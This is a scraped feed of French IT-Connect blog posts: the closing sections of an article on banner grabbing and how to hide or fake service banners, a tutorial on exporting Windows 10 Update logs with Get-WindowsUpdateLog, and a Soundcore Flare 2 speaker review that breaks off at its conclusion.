<figure id="attachment_34226" aria-describedby="caption-attachment-34226" style="width: 800px" class="wp-caption aligncenter"><a href="media/7a1d7aa7.banner-grabbing-administrateur-systeme.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/banner-grabbing-administrateur-systeme.png"><img class="size-large wp-image-34226" src="media/e135cabc.banner-grabbing-administrateur-systeme-800x445.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/banner-grabbing-administrateur-systeme-800x445.png" alt="" width="800" height="445" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/banner-grabbing-administrateur-systeme-800x445.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/banner-grabbing-administrateur-systeme-550x306.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/banner-grabbing-administrateur-systeme-150x83.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/banner-grabbing-administrateur-systeme-768x427.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/banner-grabbing-administrateur-systeme-160x89.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/banner-grabbing-administrateur-systeme-50x28.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/banner-grabbing-administrateur-systeme.png 893w" sizes="(max-width: 800px) 100vw, 800px" /></a><figcaption id="caption-attachment-34226" class="wp-caption-text">Ici, un administrateur système utilise le banner grabbing sur ses serveurs web afin de savoir rapidement lesquels ont besoin d'une mise à jour.</figcaption></figure>
<h2>IV. Banner grabbing, quand les services en disent trop</h2>
<p><strong>Le banner grabbing est surtout utilisé dans le monde de la sécurité par les attaquants</strong>. En effet, après avoir essayé de trouver les IP actives sur un réseau et les ports ouverts sur celles-ci, on va chercher à savoir quels sont les services et leurs versions.<strong> Le banner grabbing est donc un élément à prendre en compte lorsque l'on se penche sur la sécurité d'un système d'information</strong>. On doit en effet contrôler toutes les informations qui sortent de nos serveurs et dans le cadre d'un test d'intrusion ou d'une attaque, le fait qu'un serveur annonce sa version est une information qui est de trop.</p>
<p>Un attaquant faisant du banner grabbing, qui est d'ailleurs bien souvent automatisé grâce à des outils comme nmap, va rapidement pouvoir détecter les services actifs, mais surtout les versions obsolètes et vulnérables de ceux-ci. C'est à ce moment que le banner grabbing apparaît comme un danger. C'est une information qui facilite grandement le travail des attaquants et qui mérite donc d'être contrôlée, la réponse du service à la version obsolète à un attaquant est aussi claire qu'un "<em>Je suis un service vulnérable, je n'ai pas été mis à jour depuis trois ans !".</em></p>
<p>Certains outils comme le scanner de service web <em>nikto</em>, permettent même dans leurs vérifications  de récupérer la bannière du service web scanné et de prévenir l'utilisateur si la version détectée n'est pas la dernière en date. Facilitant encore plus le travail de l'attaquant par une automatisation du banner grabbing :</p>
<figure id="attachment_34225" aria-describedby="caption-attachment-34225" style="width: 800px" class="wp-caption aligncenter"><a href="media/40bb2d3d.banner-grabbing-apache-outdated.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/banner-grabbing-apache-outdated.png"><img class="size-large wp-image-34225" src="media/f58641f6.banner-grabbing-apache-outdated-800x251.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/banner-grabbing-apache-outdated-800x251.png" alt="" width="800" height="251" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/banner-grabbing-apache-outdated-800x251.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/banner-grabbing-apache-outdated-550x173.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/banner-grabbing-apache-outdated-150x47.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/banner-grabbing-apache-outdated-768x241.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/banner-grabbing-apache-outdated-160x50.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/banner-grabbing-apache-outdated-50x16.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/banner-grabbing-apache-outdated.png 805w" sizes="(max-width: 800px) 100vw, 800px" /></a><figcaption id="caption-attachment-34225" class="wp-caption-text">Dans cette dernière ligne de l'analyse Nikto d'un serveur Apache 2.2.22, Nikto nous apprend que la version détectée apparaît comme obsolète.</figcaption></figure>
<h2>V. Se protéger du banner grabing, pourquoi et comment ?</h2>
<p>Nous avons vu que le banner grabbing pouvait faciliter le travail des attaquants en trahissant la présence de services aux versions obsolètes sur nos machines, il est donc intéressant de se pencher sur les manières de s'en protéger :</p>
<ul>
<li><strong>Mettre les services à jour</strong> : Le premier conseil est plutôt commun, mettre à jour les services sur une machine fait en effet<strong> parti des basiques en matière de sécurité des SI</strong>. Cela va rendre le banner grabbing beaucoup moins utile. L'attaquant aura certes la version de notre service FTP ou HTTP en main, mais il saura qu'il s’agit de la version la plus à jour et qu'il peut donc passer son chemin, car il n'y trouvera pas de vulnérabilité... en théorie ! C'est moins vrai pour les services HTTP par exemple dont les vulnérabilités sont plus dues aux applications/sites web qu'au service web lui-même.</li>
</ul>
<ul>
<li><strong>Cacher les bannières</strong> : la <strong>sécurité par l'obscurité</strong> va ici nous être utile. En effet, un attaquant détectant un port 80, mais ne sachant pas s'il s'agit d'un IIS 8, d'un Apache 2 ou d'un Nginx sera ralenti dans sa démarche. Il existe pour chaque service des manières de cacher les bannières, à titre d'exemple, voici la procédure à suivre dans un tutoriel que j'ai rédigé pour Apache 2 : <a title="Cacher la version d'Apache 2 " href="www.it-connect.fr/cacher-la-version-de-son-serveur-web-apache2/" target="_blank" rel="noopener noreferrer">Cacher la version d'Apache 2</a></li>
</ul>
<ul>
<li><strong>Mettre une fausse bannière</strong> : Plus que de cacher les bannières, on peut ralentir encore plus l'attaquant en<strong> le mettant sur une fausse piste</strong> ! Dans VsFTPD par exemple, un service FTP sous Linux, on peut très bien mettre dans le champ <em>ftpd_banner</em> (qui permet de personnaliser la bannière à la connexion) le fait que nous soyons un FTP sur une machine Windows. L'attaquant va alors chercher des vulnérabilités sur le service FTP de Windows inutilement. Il ne s'agit là que d'un exemple.</li>
</ul>
<p>Nous avons vu dans ce billet ce qu'était le <strong>banner grabbing</strong> et quelle pouvait être son utilisation, tant pour les administrateurs système et réseau que pour les pirates malveillants ou les équipes effectuant des tests d'intrusion. Il s'agit là d'un point de détail dont la sécurité des systèmes d'information est faite, et chaque détail a son importance, car ils permettent bien souvent d’acquérir des informations supplémentaires sur une architecture ou un réseau. <strong>Gare à vos bannières donc !</strong></p>


feed_id: https://www.it-connect.fr/?p=34054
title: Récupérer les logs Windows Update sur Windows 10
uri: Récupérer-les-logs-Windows-Update-sur-Windows-10
url: https://www.it-connect.fr/recuperer-les-logs-windows-update-sur-windows-10/
content:
<h2>I. Présentation</h2>
<p>Alors que sur Windows 7 et Windows 8 les journaux de Windows Update étaient stockés dans le fichier <strong>WindowsUpdate.log</strong> dans "C:\Windows\", cela a changé depuis l'arrivée de Windows 8.1 et désormais sous Windows 10.</p>
<p>En effet, <strong>les journaux sont maintenant stockés dans le répertoire "C:\Windows\logs\WindowsUpdate\"</strong> et surtout ils ne sont plus générés dans le même format. Désormais, <strong>ils se présentent sous la forme de fichiers .etl pour "Event Trace Log".</strong></p>
<p>Par conséquent, ils sont désormais exploitables différemment, voyons cela ensemble.</p>
<h2>II. La commande "Get-WindowsUpdateLog"</h2>
<p>La commande PowerShell "<strong>Get-WindowsUpdateLog</strong>" va nous permettre de fusionner et convertir un ensemble de fichiers ".etl" en un fichier WindowsUpdate.log au format texte, et qui contiendra les journaux de Windows Update.</p>
<p>Pour l'utiliser, c'est tout simple, il suffit d'ouvrir une console PowerShell en tant qu'administrateur et d'exécuter la commande suivante :</p>
<pre>Get-WindowsUpdateLog</pre>
<p>Ensuite, patientez pendant l'opération... <strong>Cela peut prendre 2-3 minutes avant d'obtenir le fichier WindowsUpdate.log</strong>. Par défaut, le fichier de sortie est créé sur le bureau de l'utilisateur en cours sur le PC :</p>
<p><img class="aligncenter size-full wp-image-34056" src="media/56f254ec.get-windowsupdatelog-windows-10-01.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/get-windowsupdatelog-windows-10-01.jpg" alt="" width="800" height="457" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/get-windowsupdatelog-windows-10-01.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/get-windowsupdatelog-windows-10-01-550x314.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/get-windowsupdatelog-windows-10-01-150x86.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/get-windowsupdatelog-windows-10-01-768x439.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/get-windowsupdatelog-windows-10-01-160x91.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/get-windowsupdatelog-windows-10-01-50x29.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /></p>
<p>On retrouve bien le fichier journal à l'emplacement indiqué dans la console. Il ne reste plus qu'à l'ouvrir et à essayer de comprendre son contenu... Tout en sachant que les liens les plus récentes sont à la fin du fichier.</p>
<p><img class="aligncenter size-full wp-image-34055" src="media/ece38863.windowsupdate.log-example.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/windowsupdate.log-example.jpg" alt="" width="600" height="122" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/windowsupdate.log-example.jpg 600w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/windowsupdate.log-example-550x112.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/windowsupdate.log-example-150x31.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/windowsupdate.log-example-160x33.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/windowsupdate.log-example-50x10.jpg 50w" sizes="(max-width: 600px) 100vw, 600px" /></p>
<p>Quelques options sont disponibles avec le cmdlet Get-WindowsUpdateLog, avec notamment :</p>
<p><strong>- Le paramètre -LogPath</strong> : spécifier l'emplacement du fichier de sortie WindowsUpdate.log<br />
<strong>- Le paramètre -ETLPath</strong> : spécifier l'emplacement d'un seul fichier ETL ou d'un dossier qui contient des fichiers ETL, utile pour une analyse sur une autre machine en ayant récupéré les fichiers ETL au préalable</p>
<p>Le plus dur reste à faire : analyser les logs de Windows Update.</p>


feed_id: https://www.it-connect.fr/?p=34030
title: Anker Soundcore Flare 2 : deux anneaux lumineux et un bon son !
uri: Anker-Soundcore-Flare-2-deux-anneaux-lumineux-et-un-bon-son
url: https://www.it-connect.fr/anker-soundcore-flare-2-review-test/
content:
<h2>I. Présentation</h2>
<p>Après le test de l'enceinte <a href="https://www.it-connect.fr/test-soundcore-flare-lenceinte-bluetooth-360-par-anker/">Soundcore Flare+</a> publié en juillet dernier, je vous propose de découvrir ensemble <strong>l'enceinte Soundcore Flare 2</strong> qui est le nouveau modèle de chez Soundcore (une marque d'Anker). Elle ne vient pas succéder au modèle Flare+ mais directement au modèle Flare dans sa première version. Cet article sera l'occasion de mettre en avant les évolutions de l'enceinte Flare 2 et de voir s'il y a eu de réels changements.</p>
<p>Au sujet des caractéristiques techniques :</p>
<p>- Sortie audio : 20 W (10 Watts × 2)<br />
- Connectivité sans-fil : Bluetooth 5.0<br />
- Connectivité filaire : aucune<br />
- Waterproof : IPX7 (entièrement étanche)<br />
- Capacité de la batterie : 5 200 mAh<br />
- Temps de charge : 3,5 heures avec un chargeur 2A<br />
- Autonomie : 12 heures<br />
- Entrée : 5 V/2 A</p>
<p>Il est à noter que la puissance de la sortie audio passe de 12 watts à 20 watts grâce à cette seconde génération.</p>
<h2>II. Package et design</h2>
<p>Le packaging très soigné et festif d'Anker annonce la couleur : cette enceinte est là pour vous accompagner au bout de la nuit dans vos soirées et les anneaux lumineux vont créer une ambiance festive. Ça va être le feu ! 😂🔥</p>
<p>A l'intérieur de la boîte, nous retrouvons l'enceinte bien entendu, ainsi qu'un câble de rechargement en USB-C, ainsi que la notice d'utilisation, light mais efficace. Tout est bien rangé et protégé.</p>

<a href='https://www.it-connect.fr/anker-soundcore-flare-2-review-test/soundcore-flare-2-package-02/'><img width="550" height="413" src="media/2c3ffe0a.soundcore-flare-2-package-02-550x413.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/soundcore-flare-2-package-02-550x413.jpg" class="attachment-medium size-medium" alt="" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/soundcore-flare-2-package-02-550x413.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/soundcore-flare-2-package-02-150x113.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/soundcore-flare-2-package-02-768x576.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/soundcore-flare-2-package-02-160x120.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/soundcore-flare-2-package-02-50x38.jpg 50w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/soundcore-flare-2-package-02.jpg 800w" sizes="(max-width: 550px) 100vw, 550px" /></a>
<a href='https://www.it-connect.fr/anker-soundcore-flare-2-review-test/soundcore-flare-2-package-01/'><img width="550" height="413" src="media/7cf3e4db.soundcore-flare-2-package-01-550x413.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/soundcore-flare-2-package-01-550x413.jpg" class="attachment-medium size-medium" alt="" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/soundcore-flare-2-package-01-550x413.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/soundcore-flare-2-package-01-150x113.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/soundcore-flare-2-package-01-768x576.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/soundcore-flare-2-package-01-160x120.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/soundcore-flare-2-package-01-50x38.jpg 50w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/soundcore-flare-2-package-01.jpg 800w" sizes="(max-width: 550px) 100vw, 550px" /></a>

<p>Concernant l'enceinte Flare 2 en elle-même, elle dispose de<strong> deux anneaux lumineux</strong> : un dans le bas et un dans le haut, contrairement à la première génération où il y avait seulement un anneau lumineux dans le bas. Plusieurs ambiances lumineuses sont proposées, nous y reviendrons.</p>
<p>L'enceinte est cylindrique mais le bas est un peu plus large que le haut, c'est la forme classique pour les enceintes de la gamme Flare de chez Soundcore. Elle bénéficie d'un revêtement en tissu noir et gris, qui est joli et agréable au toucher, cela permet de bien tenir en main l'enceinte également.</p>
<p>Ce qui est regrettable à mon sens, c'est que <strong>les boutons sur le dessus, notamment pour gérer le volume et le bouton on/off de l'enceinte, ne soient pas rétroéclairé.</strong> Ça aurait pu être pratique, d'autant plus si elle est utilisée le soir et que la pièce est sombre. Sur le dessus, nous retrouvons également un bouton pour gérer la lumière et un autre pour mettre en pause/lecture ou changer de piste.</p>

<a href='https://www.it-connect.fr/anker-soundcore-flare-2-review-test/soundcore-flare-2-photo-01/'><img width="550" height="413" src="media/89a91a92.soundcore-flare-2-photo-01-550x413.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/soundcore-flare-2-photo-01-550x413.jpg" class="attachment-medium size-medium" alt="" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/soundcore-flare-2-photo-01-550x413.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/soundcore-flare-2-photo-01-150x113.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/soundcore-flare-2-photo-01-768x576.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/soundcore-flare-2-photo-01-160x120.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/soundcore-flare-2-photo-01-50x38.jpg 50w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/soundcore-flare-2-photo-01.jpg 800w" sizes="(max-width: 550px) 100vw, 550px" /></a>
<a href='https://www.it-connect.fr/anker-soundcore-flare-2-review-test/soundcore-flare-2-photo-08/'><img width="550" height="413" src="media/c7b6b133.soundcore-flare-2-photo-08-550x413.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/soundcore-flare-2-photo-08-550x413.jpg" class="attachment-medium size-medium" alt="" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/soundcore-flare-2-photo-08-550x413.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/soundcore-flare-2-photo-08-150x113.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/soundcore-flare-2-photo-08-768x576.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/soundcore-flare-2-photo-08-160x120.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/soundcore-flare-2-photo-08-50x38.jpg 50w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/soundcore-flare-2-photo-08.jpg 800w" sizes="(max-width: 550px) 100vw, 550px" /></a>
<a href='https://www.it-connect.fr/anker-soundcore-flare-2-review-test/soundcore-flare-2-photo-07/'><img width="550" height="413" src="media/0c750a8b.soundcore-flare-2-photo-07-550x413.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/soundcore-flare-2-photo-07-550x413.jpg" class="attachment-medium size-medium" alt="" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/soundcore-flare-2-photo-07-550x413.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/soundcore-flare-2-photo-07-150x113.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/soundcore-flare-2-photo-07-768x576.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/soundcore-flare-2-photo-07-160x120.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/soundcore-flare-2-photo-07-50x38.jpg 50w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/soundcore-flare-2-photo-07.jpg 800w" sizes="(max-width: 550px) 100vw, 550px" /></a>
<a href='https://www.it-connect.fr/anker-soundcore-flare-2-review-test/soundcore-flare-2-photo-02/'><img width="550" height="413" src="media/3fc17619.soundcore-flare-2-photo-02-550x413.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/soundcore-flare-2-photo-02-550x413.jpg" class="attachment-medium size-medium" alt="" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/soundcore-flare-2-photo-02-550x413.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/soundcore-flare-2-photo-02-150x113.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/soundcore-flare-2-photo-02-768x576.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/soundcore-flare-2-photo-02-160x120.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/soundcore-flare-2-photo-02-50x38.jpg 50w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/soundcore-flare-2-photo-02.jpg 800w" sizes="(max-width: 550px) 100vw, 550px" /></a>
<a href='https://www.it-connect.fr/anker-soundcore-flare-2-review-test/soundcore-flare-2-photo-06/'><img width="550" height="413" src="media/af567587.soundcore-flare-2-photo-06-550x413.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/soundcore-flare-2-photo-06-550x413.jpg" class="attachment-medium size-medium" alt="" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/soundcore-flare-2-photo-06-550x413.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/soundcore-flare-2-photo-06-150x113.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/soundcore-flare-2-photo-06-768x576.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/soundcore-flare-2-photo-06-160x120.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/soundcore-flare-2-photo-06-50x38.jpg 50w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/soundcore-flare-2-photo-06.jpg 800w" sizes="(max-width: 550px) 100vw, 550px" /></a>
<a href='https://www.it-connect.fr/anker-soundcore-flare-2-review-test/soundcore-flare-2-photo-05/'><img width="550" height="413" src="media/320f6961.soundcore-flare-2-photo-05-550x413.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/soundcore-flare-2-photo-05-550x413.jpg" class="attachment-medium size-medium" alt="" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/soundcore-flare-2-photo-05-550x413.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/soundcore-flare-2-photo-05-150x113.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/soundcore-flare-2-photo-05-768x576.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/soundcore-flare-2-photo-05-160x120.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/soundcore-flare-2-photo-05-50x38.jpg 50w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/soundcore-flare-2-photo-05.jpg 800w" sizes="(max-width: 550px) 100vw, 550px" /></a>
<a href='https://www.it-connect.fr/anker-soundcore-flare-2-review-test/soundcore-flare-2-photo-04/'><img width="550" height="413" src="media/c99bd755.soundcore-flare-2-photo-04-550x413.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/soundcore-flare-2-photo-04-550x413.jpg" class="attachment-medium size-medium" alt="" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/soundcore-flare-2-photo-04-550x413.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/soundcore-flare-2-photo-04-150x113.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/soundcore-flare-2-photo-04-768x576.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/soundcore-flare-2-photo-04-160x120.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/soundcore-flare-2-photo-04-50x38.jpg 50w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/soundcore-flare-2-photo-04.jpg 800w" sizes="(max-width: 550px) 100vw, 550px" /></a>
<a href='https://www.it-connect.fr/anker-soundcore-flare-2-review-test/soundcore-flare-2-photo-03/'><img width="550" height="413" src="media/3bd96009.soundcore-flare-2-photo-03-550x413.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/soundcore-flare-2-photo-03-550x413.jpg" class="attachment-medium size-medium" alt="" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/soundcore-flare-2-photo-03-550x413.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/soundcore-flare-2-photo-03-150x113.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/soundcore-flare-2-photo-03-768x576.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/soundcore-flare-2-photo-03-160x120.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/soundcore-flare-2-photo-03-50x38.jpg 50w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/soundcore-flare-2-photo-03.jpg 800w" sizes="(max-width: 550px) 100vw, 550px" /></a>

<p>Sur l'arrière de l'enceinte, ou en tout cas à l'opposé du sigle "Soundcore", se situe les boutons pour gérer le Bluetooth et<strong> activer ou désactiver le mode BassUp</strong> (boost des basses).<strong> Derrière l'indication "Flare 2", se cache le port USB-C</strong> qui est accessible après avoir soulevé "la languette", l'opération est assez simple, il n'y a pas besoin de forcer spécialement. Il est important de bien le refermer lorsque la recharge est terminée car il assure l'imperméabilité du port USB-C. Pour éviter que l'enceinte glisse, <strong>le dessous est entièrement anti-dérapant.</strong></p>
<p>Esthétiquement l'enceinte Soundcore Flare 2 est réussie, si ce n'est sur le dessus où je pense qu'il y avait possibilité de faire mieux en ajoutant du rétroéclairage. Quoi qu'il en soit, les deux anneaux lumineux c'est plutôt cool.</p>
<h2>III. Utilisation et qualité sonore</h2>
<p>En comparaison du modèle Soundcore Flare+ qui est plus imposant et légèrement plus puissant, le son est logiquement moins puissant lorsque le volume est au maximum. Sur ce modèle, lorsque le son est au maximum et que le mode Boost Bass est actif, le rendu reste correct et ne sature pas trop. Par contre, si le mode est désactivé, le son est trop aigu et manque de profondeur, ce qui n'est pas agréable à l'écoute. J'ai dû mal à me passer des basses boostées en fait, mais c'est surement une histoire de goût.</p>
<p>Lorsque le mode Boost Bass est actif, le son est plus équilibré et les basses sont normales, après pour regarder une vidéo où les basses ne sont pas utiles, ça peut être intéressant de les désactiver pour gagner en autonomie.</p>
<p>Finalement, je trouve que le son est de bonne qualité et relativement bien équilibré. Le son à 360° fonctionne bien pour avoir un niveau égal peu importe où l'on se situe par rapport à l'enceinte. La puissance est suffisante dans bien des circonstances, si ce n'est pas suffisant il faudra vous orienter vers un modèle plus puissant comme l'enceinte Flare+.</p>
<p>L'application officielle Soundcore est disponible et sert à plusieurs choses : <strong>gérer l'égaliseur, les effets lumineux, le volume, ainsi que la lecture/pause.</strong> En complément, l'application sert également à <strong>mettre à jour le firmware de l'enceinte</strong> ce qui est une bonne chose.</p>
<p>Elle est simple d'utilisation et donne accès à 6 modes différents pour les effets lumineux, les mêmes que ceux accessibles depuis le bouton sur l'enceinte directement. Pour la partie égaliseur, nous avons le droit à quatre modes prédéfinis, malheureusement n'est pas possible de personnaliser l'audio à souhait.</p>

<a href='https://www.it-connect.fr/anker-soundcore-flare-2-review-test/soundcore-flare-2-app-00/'><img width="389" height="800" src="media/82c8d897.soundcore-flare-2-app-00.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/soundcore-flare-2-app-00.jpg" class="attachment-medium size-medium" alt="" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/soundcore-flare-2-app-00.jpg 389w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/soundcore-flare-2-app-00-73x150.jpg 73w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/soundcore-flare-2-app-00-78x160.jpg 78w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/soundcore-flare-2-app-00-24x50.jpg 24w" sizes="(max-width: 389px) 100vw, 389px" /></a>
<a href='https://www.it-connect.fr/anker-soundcore-flare-2-review-test/soundcore-flare-2-app-01/'><img width="389" height="800" src="media/728936ff.soundcore-flare-2-app-01.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/soundcore-flare-2-app-01.jpg" class="attachment-medium size-medium" alt="" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/soundcore-flare-2-app-01.jpg 389w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/soundcore-flare-2-app-01-73x150.jpg 73w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/soundcore-flare-2-app-01-78x160.jpg 78w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/soundcore-flare-2-app-01-24x50.jpg 24w" sizes="(max-width: 389px) 100vw, 389px" /></a>
<a href='https://www.it-connect.fr/anker-soundcore-flare-2-review-test/soundcore-flare-2-app-03/'><img width="389" height="800" src="media/3d4851a9.soundcore-flare-2-app-03.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/soundcore-flare-2-app-03.jpg" class="attachment-medium size-medium" alt="" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/soundcore-flare-2-app-03.jpg 389w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/soundcore-flare-2-app-03-73x150.jpg 73w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/soundcore-flare-2-app-03-78x160.jpg 78w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/soundcore-flare-2-app-03-24x50.jpg 24w" sizes="(max-width: 389px) 100vw, 389px" /></a>
<a href='https://www.it-connect.fr/anker-soundcore-flare-2-review-test/soundcore-flare-2-app-02/'><img width="389" height="800" src="media/edb1da90.soundcore-flare-2-app-02.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/soundcore-flare-2-app-02.jpg" class="attachment-medium size-medium" alt="" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/soundcore-flare-2-app-02.jpg 389w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/soundcore-flare-2-app-02-73x150.jpg 73w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/soundcore-flare-2-app-02-78x160.jpg 78w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/soundcore-flare-2-app-02-24x50.jpg 24w" sizes="(max-width: 389px) 100vw, 389px" /></a>

<p><strong>Anker a également intégré la fonctionnalité "PartyCast" qui permet de coupler jusqu'à 100 enceintes Flare 2 entre-elles directement.</strong> De quoi avoir un vrai feu d'artifice de couleurs et un son amplifié. Il est à noter que les enceintes Flare 2 ne peuvent pas être associées à des enceintes Flare 1.</p>
<p>Au niveau de l'autonomie, elle est annoncée jusqu'à 12 heures, mais en utilisant normale et avec les deux anneaux lumineux actifs, on est <strong>entre 9 et 10 heures d'autonomie</strong>, ce qui est déjà intéressant. Par ailleurs, lorsque l'on éteint l'enceinte et qu'on la rallume, la reconnexion avec le smartphone (ou autre) s'effectue très rapidement.</p>
<h2>IV. Conclusion</h2>
